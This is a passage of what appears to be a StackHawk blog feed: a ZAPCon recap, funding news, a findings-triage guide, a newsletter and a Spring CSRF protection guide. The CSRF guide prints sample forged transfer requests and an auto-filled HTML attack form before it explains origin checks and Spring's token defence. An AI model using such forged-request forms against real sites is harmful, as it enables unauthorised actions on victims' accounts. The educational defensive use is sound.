href=&quot;https://www.zaproxy.org/docs/desktop/addons/report-generation/automation/&quot;&gt;Report Generation&lt;/a&gt;. The whole configuration can be provided as, you guessed it, YAML! Here is what some of that would look like in action.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you dig all this sweet YAML and you’d like more info about the &lt;a href=&quot;https://www.zaproxy.org/docs/desktop/addons/automation-framework/&quot;&gt;ZAP Automation Framework&lt;/a&gt;, you can watch the whole presentation over &lt;a href=&quot;https://youtu.be/aZmS9NiQlJA&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;🤖 Using Robot Framework to Run ZAP&lt;/h3&gt;&lt;p&gt;We all know that automation is coming to all areas of our daily work. The &lt;a href=&quot;https://robotframework.org/&quot;&gt;Robot Framework&lt;/a&gt; hastens this process by allowing developers to define simpler domain specific languages that look more like natural language for teams who want to write automation without learning to code.&lt;/p&gt;&lt;p&gt;This presentation by the amazing &lt;a href=&quot;https://twitter.com/abhaybhargav&quot;&gt;Abhay Bhargav&lt;/a&gt; covered the &lt;a href=&quot;https://github.com/we45/RoboZap&quot;&gt;RoboZAP project&lt;/a&gt; that can be used for automating ZAP during the QA process. Imagine running ZAP using something like the script below.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Using this more natural language syntax makes ZAP automation easier. You can check out all the options that RoboZAP supports over in their &lt;a href=&quot;https://github.com/we45/RoboZap&quot;&gt;documentation&lt;/a&gt;. Using the Robot Framework and ZAP looks really easy and definitely recruits more folks into the automation process.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;What’s Next?&lt;/h3&gt;&lt;p&gt;There were many other &lt;a href=&quot;https://zapcon.io/&quot;&gt;topics covered&lt;/a&gt; throughout the day. You can &lt;a href=&quot;https://youtu.be/KWofjrHNNqs&quot;&gt;test mobile applications&lt;/a&gt; with ZAP, run ZAP in CI/CD and even use &lt;a href=&quot;https://youtu.be/5Hq0sPbhnDQ&quot;&gt;ZAP with intelligent fuzzers&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;We also learned that &lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;Stackhawk makes it easy to integrate ZAP&lt;/a&gt; into the development process, so that you can fix security bugs before they reach production. &lt;/p&gt;&lt;p&gt;All the great talks couldn’t fit into one day of ZAPCon. So the team decided that the fun will continue in after-hours events over the coming weeks. The next one will be, &lt;a href=&quot;https://zapcon.io/#after-hours&quot;&gt;“Starting a Security Program on a Shoestring (with ZAP)” by Brian Myers on Tuesday, March 30, 8 AM PT&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Hope to see you there! 🦅 #Kaakaww&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk Increases Funding to $4.6M to Shift AppSec into the Engineering Team]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/funding-increased-press-release</guid><category><![CDATA[StackHawk News]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;p&gt;Greg Sands, founder and managing partner of Costanoa Ventures said, “StackHawk has assembled a strong team that is delivering high quality, developer centric software. There is a strong pull in the market for developer driven security tooling and early product validation shows that StackHawk is hitting this mark. That is why we’re thrilled to partner with StackHawk on their mission to put application security into the hands of engineers.”  The company has seen strong early momentum and will leverage the capital infusion for continued product development via additional engineering hires.&lt;/p&gt;&lt;p&gt;Along with the financing announcement, StackHawk also announced its limited Early Access program, allowing interested developers to use the product before it is released into general availability. The product is purpose built for engineering teams, enabling them to find, triage, and fix application security bugs before they hit production. Interested participants can sign up for the waitlist at &lt;a href=&quot;https://www.stackhawk.com&quot;&gt;stackhawk.com&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;“The traditional software security model is broken,” said Scott Gerlach, co-founder and chief security officer at StackHawk. “StackHawk is not security for security people. There is a large graveyard of failed security tool rollouts where InfoSec made the purchase, but the tool was never adopted because it doesn’t fit modern development workflows.”&lt;/p&gt;&lt;p&gt;StackHawk is a strong believer that the future of application security lives within the engineering team. The company is leading the charge of shifting application security left, choosing to build for the engineers who will use the products each and every day instead of the security teams that have traditionally led these roll outs. &lt;/p&gt;&lt;p&gt;“Right now, security is an inefficient bottleneck and developers are left fixing bugs from code they wrote months ago,” said Joni Klippert, founder and CEO of StackHawk. “The structure has to change. We’ve seen this play out before, with ITOps moving into DevOps, and we are seeing the beginning of the same with application security responsibilities moving into engineering.” &lt;/p&gt;&lt;p&gt;With over a decade of experience building developer tools, including spending the past 6 years building DevOps focused VictorOps from seed to acquisition by Splunk, Klippert and her team are building the best of breed product that enables the shift of application security into the engineering team. Klippert is joined by co-founders Scott Gerlach, chief security officer and former CISO at SendGrid, and Ryan Severns, chief operating officer and former vice president of marketing at JumpCloud. With a deep background in both security and DevOps, the founding team is determined to see this change through.&lt;/p&gt;&lt;p&gt;&lt;b&gt;About StackHawk&lt;/b&gt;&lt;/p&gt;&lt;p&gt;StackHawk, a software-as-a-service (SaaS) startup in Denver, CO, empowers engineers to easily find and fix application security bugs at any stage of the CI/CD pipeline. With a strong founding team that has deep experience in security and DevOps and some of the best venture investors in the business, StackHawk is on a mission to put application security into the hands of engineers. &lt;a href=&quot;https://www.stackhawk.com&quot;&gt;www.stackhawk.com&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Media Contact:&lt;/b&gt;&lt;/p&gt;&lt;p&gt;press@stackhawk.com&lt;/p&gt;&lt;h3&gt;&lt;/h3&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Hawk Tips & Tricks: Triaging and Fixing Findings]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-onboarding-3-triaging-and-fixing-findings</guid><category><![CDATA[Scanning with StackHawk]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Fixing High or Medium severity issues on the fly is ideal, but there are many circumstances where immediate remediation is not an option or necessary.&lt;/p&gt;&lt;p&gt;Dynamic application security testing limits the noise of false positives better than code scanning tools, but Low critical findings can get pretty noisy if neglected for too long. The last thing you need is high-severity issues to be drowned out by low-priority alerts. &lt;/p&gt;&lt;p&gt;Enter triaging…&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Triaging Findings&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;&lt;b&gt;&lt;i&gt;Quiet the noise and focus on what matters.&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Chances are your first scan returned a decent size list of bugs. As a first step, we recommend triage to establish a baseline and bring new findings front and center. With your initial findings triaged you can focus on fixing net-new security bugs as you develop software. &lt;/p&gt;&lt;h3&gt;&lt;b&gt;How it works&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;In the StackHawk platform, select one or more findings and triage with the Actions drop-down.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Understanding the Finding Status&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Let’s dig into the Finding Status a bit more to learn what each one means and how to use them appropriately.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;New&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Findings marked as New are waiting for your attention. These are items that need to be fixed or triaged to update the status.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Assigned&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Assigning a finding means the issue needs to be reviewed and/or remediated if necessary. Once Assigned, you can send the issue to &lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/jira.html&quot;&gt;&lt;u&gt;Jira&lt;/u&gt;&lt;/a&gt; or &lt;a href=&quot;https://docs.stackhawk.com/workflow-integrations/merge-azure-devops-boards.html&quot;&gt;&lt;u&gt;Azure DevOps Boards&lt;/u&gt;&lt;/a&gt; to track all of your code quality issues in one place.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Risk Accepted&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;For one reason or another, there may be findings you elect not to fix and can mark as Risk Accepted. For example, if you use a trusted third-party JavaScript tool such as New Relic for APM or Segment for event tracking, it may trigger a &lt;a href=&quot;https://www.zaproxy.org/docs/alerts/10017/&quot;&gt;&lt;u&gt;Cross-Domain JavaScript Source File Inclusion&lt;/u&gt;&lt;/a&gt; finding across multiple paths. In this case, you would mark all paths with the included script as Risk Accepted.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;False Positive&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;Scan results may also include findings that are actually false positives and do not require a fix. These can be marked as false positives to quiet future noise.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Triaging Tips&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Now that you’re familiar with the statuses, it’s time to triage. Here&amp;#39;s what we recommend:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Fix critical bugs now:&lt;/b&gt; Prioritizing which bugs to fix depends on your particular application, but a great place to start is by fixing any bugs marked as High criticality.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Risk accept where applicable:&lt;/b&gt; If you know that any of the identified bugs are an acceptable risk, mark them now to avoid being alerted in the future.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Assign the rest for prioritization:&lt;/b&gt; For many teams, the majority of findings will be assigned for further investigation or prioritization discussions. Integrating StackHawk with your preferred project management tool makes it easy to track assigned issues and incorporate them into sprints.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Fixing Bugs&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;When you are ready to fix the security bugs alerted by your scan, here are a few tips:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/web-app/scans.html#finding-details-page&quot;&gt;&lt;b&gt;&lt;u&gt;Request/response details&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;:&lt;/b&gt; When you click on a particular path within a finding, you will see the Request and Response information associated with the bug. Use this to understand what is happening with the bug.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/fix-bugs-curl-validation/&quot;&gt;&lt;b&gt;&lt;u&gt;Finding validation&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;:&lt;/b&gt; Click the Validate button to generate a curl command to recreate the exact request (attack) of the particular finding. Put your IDE in debug mode and step through the code to help figure out how to fix the bug.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/hawk-rescan-how-to-validate-fixes-in-a-fraction-of-time/&quot;&gt;&lt;b&gt;&lt;u&gt;Fix validation&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;b&gt;:&lt;/b&gt; Click the Rescan Findings button to confirm a vulnerability is fixed before pushing code to your remote repository. Rescan tests only the findings alerted in your previous scan, making it quick to iterate on remediations. When the finding no longer raises an alert, go ahead and open that pull request.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Takehome Challenge: Triage Initial -or- backlogged Findings&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The results of your first scan can be daunting but it&amp;#39;s best to rip the bandaid off, establish your baseline, and focus on new findings going forward.&lt;/p&gt;&lt;p&gt;Here are two ways to work through your initial findings or the backlog you&amp;#39;ve been avoiding:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Option 1:&lt;/b&gt; Assign findings according to your team’s workflow. This might mean that Medium and Low risk findings go into the engineering backlog for prioritization while High risk findings are pulled into the current sprint.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Option 2&lt;/b&gt;: Assign all items to your security team for thorough review and prioritization.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Set aside some time this week to give it a try. If you run into any issues ask for help!&lt;/p&gt;&lt;p&gt;Get help quickly and easily by emailing &lt;i&gt;support@stackhawk.com&lt;/i&gt;, or through our in-app chat.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Read more&lt;/b&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/get-your-entire-flock-secured-stackhawk-launches-team-sized-support/&quot;&gt;&lt;u&gt;Invite teammates to help you triage&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/improvements-to-the-stackhawk-jira-cloud-integration/&quot;&gt;&lt;u&gt;Track Findings in Jira Cloud&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/getting-started-with-the-new-stackhawk-cli/&quot;&gt;&lt;u&gt;Getting Started with the StackHawk CLI&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/&quot;&gt;&lt;u&gt;Check out our awesome Hawkdocs&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Spring CSRF Protection Guide: Examples and How to Enable]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/spring-csrf-protection-guide</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;A Cross-Site Request Forgery (CSRF) is a common malicious attack because it requires little technical expertise. The combination of the ease of execution, low barriers for executing it, and the prevalence of targets require active measures against it.&lt;/p&gt;&lt;p&gt;Let’s start with a few definitions.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Cross-Site Request Forgery&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;As explained by &lt;a href=&quot;https://owasp.org/www-community/attacks/csrf&quot;&gt;OWASP&lt;/a&gt;, a CSRF, is a popular attack vector on a website or SaaS application. It’s a type of malicious exploitation of a website where unauthorized commands are submitted from a user that the web application trusts. So the key ingredients are:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;A website (the target)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;A trusted, legitimate user&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Malicious code that tricks the website into carrying out an unintended action&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;If the victim is a normal user, the malicious code can make the user transfer funds, send emails, load images, and so on. If the victim is the website’s administrator, the entire system can be compromised.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Why Is It Important to Mitigate CSRF?&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;As stated above, CSRF requests are easy to execute, can have dire consequences, and have a broad attack surface. They are serious attacks – something that every website and SaaS application needs to take into account. Transferring funds to an illicit bank account is catastrophic for a financial institution. But even if we are talking about a social media app, posting NSFW content on a user’s wall or other personal space can have serious consequences as well.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Spring Framework&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The Spring Framework is a popular Java framework for developing enterprise and web applications. Originally created in 2005 by Pivotal, it is still going strong today. Over the years, different modules have been added to the core Spring container. One of the most popular is Spring Boot. The Convention over Configuration (CoC) is part of the Spring framework. It allows you to code with minimal configuration.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Spring Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Another popular module is Spring Security. As the official documentation explains very &lt;a href=&quot;https://spring.io/projects/spring-security&quot;&gt;well&lt;/a&gt;, “Spring Security is a powerful and highly customizable authentication and access-control framework. It is the de-facto standard for securing Spring-based applications. Spring Security is a framework that focuses on providing both authentication and authorization to Java applications. Like all Spring projects, the real power of Spring Security is found in how easily it can be extended to meet custom requirements.” In other words, this is the standard security module for Spring-based applications. It provides protection against attacks like &lt;a href=&quot;https://en.wikipedia.org/wiki/Session_fixation&quot;&gt;session fixation&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/Clickjacking&quot;&gt;clickjacking&lt;/a&gt;, and cross-site request forgery.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;A CSRF attack tricks a system into executing actions that it thinks were initiated by a legitimate user&lt;/p&gt;&lt;/blockquote&gt;&lt;h3&gt;&lt;b&gt;Spring CSRF in Java&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Spring is written in Java, so we need to discuss mitigating CSRF in Java first. In some cases, preventing a Java CSRF or even a general CSRF is the same as preventing a Spring CSRF. As stated above, a CSRF attack tricks a system into executing actions that it thinks were initiated by a legitimate user. There are three ways to handle it:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The wrong way (which allows an attacker to execute a CSRF)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The right way in Java (preventing any CSRF attempts)&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;The right way with Spring Security&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Example&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Let’s look at the classic scenario that involves a user sending funds to a bank account.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;The Wrong Way&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;&lt;code&gt;GET http://somebank.com/transfer.funds?account=validAccount&amp;amp;amount=1000 HTTP/1.1&lt;/code&gt;&lt;/p&gt;&lt;p&gt;What we have here is a basic HTTP request with all the relevant data in the &lt;code&gt;GET&lt;/code&gt; parameters: the amount to transfer, the destination account, etc. The fact that this is an HTTP request allows every other user on the local network to eavesdrop on the request and create a malicious version:&lt;/p&gt;&lt;p&gt;&lt;code&gt;GET http://somebank.com/transfer.funds?account=malicousAcconut&amp;amp;amount=100000 HTTP/1.1&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Thus, the hacker transfers funds to a different bank account than the user intended. The attacker is exploiting the fact that this is a plain HTTP request with all the business logic available in the GET parameters.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;The Right Way&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;First and foremost, this should be an HTTPS request. Although HTTPS doesn’t do anything &lt;i&gt;directly&lt;/i&gt; to prevent a CSRF attack, it’s a prerequisite to providing at least a minimal amount of security to a financial transaction. HTTPS makes the data exchanged between the browser and the website encrypted, thus making the life of an attacker harder. In addition, switching from a &lt;code&gt;GET&lt;/code&gt; request to a &lt;code&gt;POST&lt;/code&gt; request helps, but it doesn’t fully protect you from a CSRF because the same attack can be rendered via a simple form. For instance, we can send the data in a POST request this way:&lt;/p&gt;&lt;p&gt;&lt;code&gt;POST http://somebank.com/transfer.funds HTTP/1.1 account=validAccount&amp;amp;amount=1000&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;It’s easy to create an HTML form that will be presented to the legitimate user and allow the attacker to yet again execute his attack:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;form action=&amp;quot;http://somebank.com/transfer.funds&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;account&amp;quot; value=&amp;quot;malicousAccount&amp;quot;/&amp;gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;amount&amp;quot; value=&amp;quot;1000000&amp;quot;/&amp;gt;
&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;transfer funds&amp;quot;/&amp;gt;
&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;A proper way to do this in Java can be via a web filter that makes sure that the HTTP/s &lt;b&gt;origin&lt;/b&gt; of the request is what we expect it to be and that it matches the server host. This way, if the request comes from a different source, we can block it:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This combined with HTTPS and at least one additional mitigation technique (like short-lived session-only cookies) provides adequate protection against CSRF attacks.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;The Spring Security Way&lt;/b&gt;&lt;/h4&gt;&lt;p&gt;There’s another way to do this. Spring Security uses the “Synchronizer Token Pattern,” or STP. This means that we embed a unique value in each request and session from the browser and validate this token every time on the server. For every request or session, we expect to see a certain value from the browser. And if we don’t see it, we block the request. The value is generated by the server and put into the source code of the HTML page (or HTTP header), and the server expects to see it (or a version of it) in the next request. So for the example above, here is what the form should look like:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&amp;lt;form action=&amp;quot;http://somebank.com/transfer.funds&amp;quot; method=&amp;quot;POST&amp;quot;&amp;gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;account&amp;quot; value=&amp;quot;malicousAccount&amp;quot;/&amp;gt;
&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;amount&amp;quot; value=&amp;quot;1000000&amp;quot;/&amp;gt;
&amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;transfer funds&amp;quot;/&amp;gt;
&lt;/code&gt;&lt;code&gt;&lt;b&gt;&amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;${_csrf.parameterName}&amp;quot; value=&amp;quot;${_csrf.token}&amp;quot;/&amp;gt;&lt;/b&gt;&lt;/code&gt;&lt;code&gt;
&amp;lt;/form&amp;gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Without this token, the attacker won’t be able to execute an attack. To generate this token with Spring Security, we don’t have to do much as this functionality is built in and enabled by default. It can be disabled by adding this code:&lt;/p&gt;&lt;p&gt;&lt;code&gt;@Override protected void configure(HttpSecurity http) throws Exception { http .csrf().disable(); }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;So we need to make sure that is not in our code.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;CSRF is a common and high-risk attack vector. However, as we’ve seen above, it’s fairly easy to mitigate this risk with HTTPS, origin verification, and STP. As long as you’re following the best practices, CSRF attacks will be blocked. Thankfully, in Spring we have CSRF protection built in, so all we have to do is make sure that we don’t disable it.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Alexander Fridman.&lt;/i&gt; &lt;a href=&quot;https://alexanderfo.com&quot;&gt;&lt;i&gt;Alexander&lt;/i&gt;&lt;/a&gt; &lt;i&gt;is a veteran in the software industry with over 11 years of experience. He worked his way up the corporate ladder and has held the positions of Senior Software Developer, Team Leader, Software Architect, and CTO. Alexander is experienced in frontend development and DevOps, but he specializes in backend development.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[February Newsletter: The Hottest News in the Hawks Nest]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/february-newsletter-2020</guid><category><![CDATA[Monthly Newsletters]]></category><dc:creator><![CDATA[Ryan Severns]]></dc:creator><content:encoded>&lt;h3&gt;&lt;b&gt;Launching Early Access: Sign Up Now&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;We are excited to announce the launch of our Early Access program. As we build out additional functionality and polish up the product for general availability, we are opening StackHawk up to a limited number of early users. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Here is the TL;DR.&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;StackHawk is built for developers, helping them find, triage, and fix security bugs before they hit production. Add scans to your development workflow and CI/CD pipeline to ensure that you catch security bugs early. If you are interested in checking it out, fill out the &lt;a href=&quot;https://stackhawk.typeform.com/to/u73q0c&quot;&gt;onboarding survey&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;b&gt;The Changelog: The Latest to Kaakaww About&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Given that this is our first newsletter, you could say that everything has changed. Here’s a quick rundown of what is included in the limited Early Access launch:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Security Bug Scanner:&lt;/b&gt; The heart of it all… A single Docker command sends the scanner off hunting out security bugs throughout your running application.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;YAML Config:&lt;/b&gt; Manage configuration through code. Ensure version control and collaboration for your core scanner config.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Fix Guides:&lt;/b&gt; So you’ve got a security bug? With clear Request / Response payloads pointing to the error and documentation on how to fix, you can remediate in flight.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Scan History:&lt;/b&gt; See a record of unique scans and their complete findings. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Automation:&lt;/b&gt; Add StackHawk to your CI/CD pipeline.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;As always, check out our &lt;a href=&quot;https://docs.stackhawk.com&quot;&gt;docs&lt;/a&gt; for the latest details of how this works.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Other Happenings: Because We Need to Keep Corporate Busy Somehow&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;🌍  New Website &lt;/b&gt;Check out the new &lt;a href=&quot;https://www.stackhawk.com&quot;&gt;https://stackhawk.com&lt;/a&gt;. Learn more about the product or sign up for Early Access.&lt;/p&gt;&lt;p&gt;&lt;b&gt;🚙  On the Road at B-Sides SF, RSA, and SnowFROC&lt;/b&gt;&lt;/p&gt;&lt;p&gt;This week we dropped in on B-Sides SF and RSA DevSecOps Day. Next week, we will be at SnowFROC in Denver. Come find us at an event – we would love to chat and hook you up with a T-shirt. If you aren’t going to be able to join us at an event but still want some cool swag, drop us a line at &lt;a href=&quot;mailto:hello@stackhawk.com?utm_campaign=Newsletter%3A+February+2020&amp;utm_medium=email&amp;utm_source=autopilot&quot;&gt;hello@stackhawk.com&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;b&gt;❤️  Give Us Some Love &lt;/b&gt;As an early stage software company, good word of mouth is one of the best things we can get. If you know anyone who should join us in this mission of developer first security, please send them our way. Or we’d love for you to share about our upcoming Early Access launch on social media. We are grateful for your support!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Announcing Our Latest Financing Round]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/announcing-our-latest-financing-round</guid><category><![CDATA[StackHawk News]]></category><dc:creator><![CDATA[Joni Klippert]]></dc:creator><content:encoded>&lt;p&gt;AppSec needs to be rethought through a developers eyes and we decided to build StackHawk to give engineers the capability to easily find and fix the most egregious security bugs while writing code – not long after that code has been deployed to production. &lt;/p&gt;&lt;p&gt;We launched StackHawk in July of 2019. Since then, we’ve built an excellent team of engineers that are focused on our mission and have executed on delivering a product that our early access customers are excited about. (They’re also completely hysterical human beings that are a total delight to work with.) &lt;/p&gt;&lt;p&gt;Today, I am excited to announce that StackHawk has closed another $2.5 million financing round, bringing our total capital raised to $4.6M since July 2019. This round was led by Costanoa Ventures and Foundry Group, with participation from existing investors Flybridge Capital and Matchstick Ventures. These funds will be used to continue to accelerate product development and support go-to-market activities as we prepare for general availability of the StackHawk platform.&lt;/p&gt;&lt;p&gt;More than anything, we are excited to get StackHawk into the hands of more engineering teams. There is a better way to do application security and it starts with developers. With StackHawk, teams can ship secure code confidently and fix bugs quickly when they arise. We are proud of what we’ve built to date, excited about what’s to come, and grateful to have this additional financing to keep driving toward our mission even faster.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Test-Driven Security With StackHawk and Spinnaker]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/test-driven-security-with-stackhawk-and-spinnaker</guid><category><![CDATA[Integrations]]></category><category><![CDATA[Automating Security in CI/CD]]></category><dc:creator><![CDATA[April Conger]]></dc:creator><content:encoded>&lt;p&gt;&lt;i&gt;Written by Zachary Conger and Andrew Way&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Modern software development is fast and iterative, with companies releasing significant new features and refinements daily. Doing that safely requires test automation in the build and delivery pipeline to ensure that flaws are identified before new code hits production. Security testing must also be automated to catch vulnerabilities before they are released to production, and ship secure code faster.&lt;/p&gt;&lt;p&gt;In a recent webinar, StackHawk and Armory showed how you can scan pre-production app deployments for security bugs. Tune in below for the full presentation.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=guk0CDoPcyM&amp;ab_channel=StackHawk&quot;&gt;Watch the Video Here&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Get Started with Spinnaker&lt;/h3&gt;&lt;p&gt;&lt;a href=&quot;https://www.armory.io/&quot;&gt;Armory&lt;/a&gt; provides continuous delivery at enterprise scale. Armory’s platform brings the power of &lt;a href=&quot;https://spinnaker.io/&quot;&gt;Spinnaker&lt;/a&gt; to your organization, along with mission-critical feature extensions, enterprise-grade stability, and 24/7 expert support from one of the leading members of the open source community.&lt;/p&gt;&lt;p&gt;To get started:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Check out Armory’s &lt;a href=&quot;https://www.armory.io/learn/what-is-spinnaker/&quot;&gt;Spinnaker 101 Docs&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Install Spinnaker in minutes using &lt;a 